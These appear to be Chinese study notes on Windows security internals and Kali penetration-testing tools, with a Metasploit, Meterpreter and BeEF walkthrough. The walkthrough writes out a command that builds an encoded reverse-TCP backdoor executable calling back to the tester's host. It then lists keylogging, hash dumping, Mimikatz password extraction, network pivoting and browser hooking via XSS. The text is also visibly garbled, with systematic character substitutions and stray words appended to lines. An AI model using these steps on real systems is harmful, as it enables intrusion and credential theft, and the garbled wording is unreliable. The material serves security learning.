Windows在桌面操做系统中占有很是高的市场份额,Windows XP系统在国内仍有大量的用户php
(1)Windows操做系统内核基本模块html
+Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口web
+Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操做系统功能sql
+设备驱动程序:包括将用户I/O操做映射为特定硬件设备I/O请求的硬件设备驱动程序程序,以及文件系统与网络设备驱动程序。shell
+硬件抽象层:hal.dll文件,用于屏蔽Windows内核与平台硬件差别性的底层代码.数据库
+Windows窗口与图形界面接口内核实现代码:win.32k.sys文件windows
(2)Windows操做系统在用户态的代码模块api
+系统支持进程:Windows开机自动启动的系统内建服务进程浏览器
+环境子系统服务进程:为操做系统运行环境提供支持的服务进程安全
+服务进程:经过windows的服务管理机制所启动的一系列系统及网络服务
+用户应用软件:在用户态执行的各种用户应用软件
+核心子系统DLL:即kernel32.dll/user32.dll/gdi32.dll/avapi32.dll等动态链接库文件,做为用户态服务进程与应用软件和操做系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。
(3)核心机制
+Windows进程和线程管理机制
+Windows内存管理机制
+Windows文件管理机制
+Windows注册表管理机制
+Windows的网络机制
①网卡硬件设备驱动程序,位于OSI物理层
②NDIS库及miniport驱动程序,位于OSI链路层
③TDI传输层,网络协议驱动,位于OSI网络层与传输层
④网络API DLL 及TDI客户端,对应OSI会话层与表示层
⑥网络应用程序与服务进程,对应OSI应用层
Windows操做系统基于引用监控器模型来实现基本的对象安全模型。系统中全部主体对客体的访问都经过引用监控器做为中介,由引用监控器根据安全访问控制策略来进行受权访问,全部访问记录也都由引用监控器生成审计日志。
Windows操做系统实现基础的安全机制,其中最核心的是位于内核的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一块儿,实现了对主体用户的身份认证机制,对全部资源对象的访问控制机制,以及对访问的安全审计机制。
Windows操做系统中以安全主体概念来包含全部进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每一个安全主体,以时间和空间上都全局惟一的SID安全标识符来进行标识。帐户权限的根本做用就是限制这些帐户内运行程序对系统资源对象的访问。
Windows系统中拥有一些内建帐户,如拥有最高权限的本地Administrator帐户,做为自动运行系统进程环境的SYSTEM/LocalSystem帐户,具备相对极少权限的Guest匿名访问用户,以及IUSR_Machinename IIS服务的匿名网络访问帐户等。而这些帐户在黑客眼中,本地Administrator和SYSTEM帐户拥有最高的权限,是他们攻击的终极目标。
Windows系统的内建用户组包括:本地最高权限用户组Administrators、具备单一方面系统权限的Account/Backup/Server/Print Operators等操做组、用于容纳服务帐户的Network Service与Local Service用户组,以及全部用户帐户所在的Users组等。 Windows用户帐户的口令字通过加密处理以后被保存于SAM或者活动目录AD中,其中本地用户帐户口令信息通过不可逆的128位随机密钥Hash加密后存储在SAM文件中,SAM存储于%systemroot%\system32\config\sam文件系统路径位置,并在注册表的HKEY_LOCAL MACHINE\SAM存有副本。
Windows域帐户口令信息则保存在域控制器的活动目录AD中,加密方式与单机平台一致,存储文件系统位置是域控制器的%systemroot%\ntds\ntds.dit路径。
Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登陆和远程网络访问的主主体进行合法性验证。网络身份认证过程由LSASS服务的Netlogon模块主导完成。
Windows进程、GINA图形化登陆窗口,与LSASS服务经过协做来完成本地身份认证过程。
Windows受权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。在Windows服务器操做系统中,用户能够执行内建的whoami命令来查看当前用户的访问令牌信息。Windows对于系统中全部需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通讯接口等,而对每一个对象会关联一个SD安全描述符,有如下属性组成:
+Owner SID
+Group SID
+DACL 自主访问控制列表
+SACL 系统审计访问控制列表
系统审计策略在本地安全策略中由系统管理员定义,来肯定系统对哪些事件进行记录。
dows的其余安全机制
+远程口令猜想与破解攻击
+攻击Windows网络服务
+攻击Windows客户端及用户
系统安全的本质核心在于安全漏洞、渗透攻击及安全检测防护机制之间的攻防博弈与竞赛。
+Windows安全漏洞发现、利用与修补过程
+安全漏洞公开披露信息库
+针对特定目标的渗透测试攻击过程
①漏洞扫描测试
②查找针对发现漏洞的渗透代码
③实施渗透测试
使用Metasploit软件实施渗透测试:Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库做为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其余辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,好比自动化的渗透测试例程等等。
+远程口令字猜想
+远程口令字交换通讯窃听与破解
+远程口令猜想与破解防范措施
Windows操做系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。
+针对NetBIOS网络服务的著名漏洞及攻击
+针对SMB网络服务的著名漏洞及攻击
+针对MSRPC网络服务的著名漏洞及攻击
+针对Windows系统上微软网络服务的远程渗透攻击
+针对Windows系统上第三方网络服务的远程渗透攻击
+网络服务远程渗透攻击防范措施
终极特权:Administrator或者Local System帐户。从受限用户权限尝试得到特权帐户的攻击技术也被称为特权提高。
+Windows系统口令字密文提取技术
+Windows系统口令字破解技术
+用户敏感数据窃取
+本地敏感信息窃取防范措施
+关闭审计功能
+清理事件日志
+针对消踪灭迹的防范措施
+命令行远程控制工具
+图形化远程控制工具
+针对后门程序防范措施
参考资料
http://blog.sina.com.cn/s/blog_acdeaa0901017irl.html
漏洞检测和利用工具
1.searchsploitl漏洞检索工具,这个项目是由Offensive Security发起的、基于exploit database官方漏洞数据库源的漏洞搜索工具,能够直接在终端搜索漏洞相关信息,如漏洞简介和漏洞验证/利用脚本。列出全部文件
列出了全部漏洞和对应的文件地址
从目录`/usr/share/exploitdb/patforms/
中进入漏洞对应的相对地址
用到指令:cat php/webapps/6.php
搜索windows上iis服务的远程漏洞:root@localhost:~# searchsploit windows iis remote
2.pattern creat
在缓冲区溢出时可使用这个命令,例pattern create 1000 a就是能够输出1000个a
3.ikat
网络漏洞扫描工具,能够开一个端口和IP地址,一旦有漏洞的主机经过这个端口扫描它,就会中招,并植入一个shellcode。等待目标访问中招
4.Termineter 旨在评估智能电表的安全性,Python Smart Meter Testing Framework。
Metasploit在渗透测试中常常能够用到,包含了不少工具,这些工具造成一个完整的攻击框架。
在Kali中使用metaaploie,须要先开启PostgreSQL数据库服务和metasploit服务,而后就能够完整的利用msf数据查询exploit和记录。
service postgresql start service metasploit start
若是不想每次开机都手工启动服务,能够配置随系统启动。
update-rc.d postgresql enable update-rc.d metasploit enable
2、路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
+Auxiliary:辅助模块
+encoders:供msfencode编码工具使用,具体可使用msfencode –l
+exploits:攻击模块 每一个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
+payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。好比咱们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
+post:后渗透阶段块,在得到meterpreter的shell以后可使用攻击代码。好比经常使用的hashdump、arp_scanner就在这里。
3.基本命令
msfpayload:用来生成payload或者shellcode
搜索的时候能够用msfpayload -l |grep "windows"
这样的命令查询。-o 选项能够列出payload所需的参数
msfencode:msf中的编码器,早期为了编码绕过AV,如今经常使用msfpayload与他编码避免exploit的坏字符串。
msfconsole:开启metasploit的concle最经常使用的命令。
4.测试示例:发现漏洞,搜索exploit
前期经过扫描的值目标21端口vsftp服务版本为2.3.4,使用msfconsole打开msf的命令行版本,经过search语句搜索是否有漏洞。
这个版本没有发现漏洞。
meterpreter 是metasploit框架中的一个扩展模块,做为溢出成功之后的攻击载荷使用,攻击载荷在溢出成功后给咱们返回一个控制通道。使用它做为攻击载荷可以得到目标系统的一个meterpretershell.
meterpreter做为后渗透模块有多中类型,而且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式,其有不少有用的功能,如,添加一个用户,隐藏一些东西,打开shell,获得用户密码,上传下载远程主机的文件,运行cmd.exe,捕获屏幕,获得远程控制权,捕获按键信息,清除应用程序,显示远程主机的系统信息,显示远程及其的网络接口和IP地址等信息。
常见的命令:
background:将当前会话放置后台
load/use:加载模块
interact:切换进一个信道
migrate:迁移进程
run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出全部的已有的脚本。
resource:执行一个已有的rc脚本经常使用的meterpreter类型为:payload/windows/meterpreter/reverse_tcp
一、生成Meterpreter后门 :命令:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.129.200 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe
当前kali的IP地址为:192.168.129.200
二、打开MSF,开启监听,选择exploit/multi/handler
确保打开
三、在目标机器上执行door.exe
四、经过help命令查看可执行的命令
五、常见命令使用,包括系统信息,抓取屏幕截图与抓取HASH等。
六、目录浏览
七、键盘监听
八、扩展工具,load/use以后再输入help,就能够了看到有关这个模块的命令的说明了
九、扩展工具之Minikatz,抓取本地密码明文
在跳板获取必定权限后须要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经获得的Meterpreter后门,可使系列的操做更容易。
一、查看当前网卡、网段信息。ifconfig
二、添加路由表
run autoroute -s 10.0.0.1
可使用msf中的模块跨网段攻击或扫描。可经过脚本autoroute快速添加。
三、开socket代理,经过使用auxiliary/server/socks4a模块,建立一个socks代理,能够为浏览器,sqlmap,nmap使用。经过代理便可访问内网计算机。
四、经过background和session -i能够自由切换进入session。
五、输入run能够看到在meterpreter上能够作的不少命令。
六、经过run post/能够看到后渗透测试模块
七、获取内网信息 run arp_acanner -h
八、也能够上传文件,作端口转发后进行后续测试。
对XSS漏洞须要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专一于浏览器端的渗透测试工具。官网 http://beefproject.com/
一、命令行下启动 beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登陆:
左侧为目标的浏览器
二、假设被测试主机因为XSS漏洞请求到 http://192.168.129.200:3000/demos/basic.html
出现拒绝访问的状况,以后就没有成功。。也是很无奈。
左侧online browsers出现新的选项,其Current Browser中包括浏览器名称、版本、操做系统版本等。
三、HOOK持续的时间为关闭测试页面为止,在此期间,至关于被控制了,能够发送攻击命令,在Commands模块,咱们能够完成不少任务:
其中,四种颜色分别表示:
+该攻击模块可用,但隐蔽性强
+该攻击模块可用,但隐蔽性差
+该用户模块是否可用还有待验证
+该攻击模块不可用
+选取MISC下Raw JavaScript模块做为测试用例
执行,查看返回结果,成功则显示
四、代理Proxy功能
选中目标主机,点右键,在菜单中选中Use as Proxy;而后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。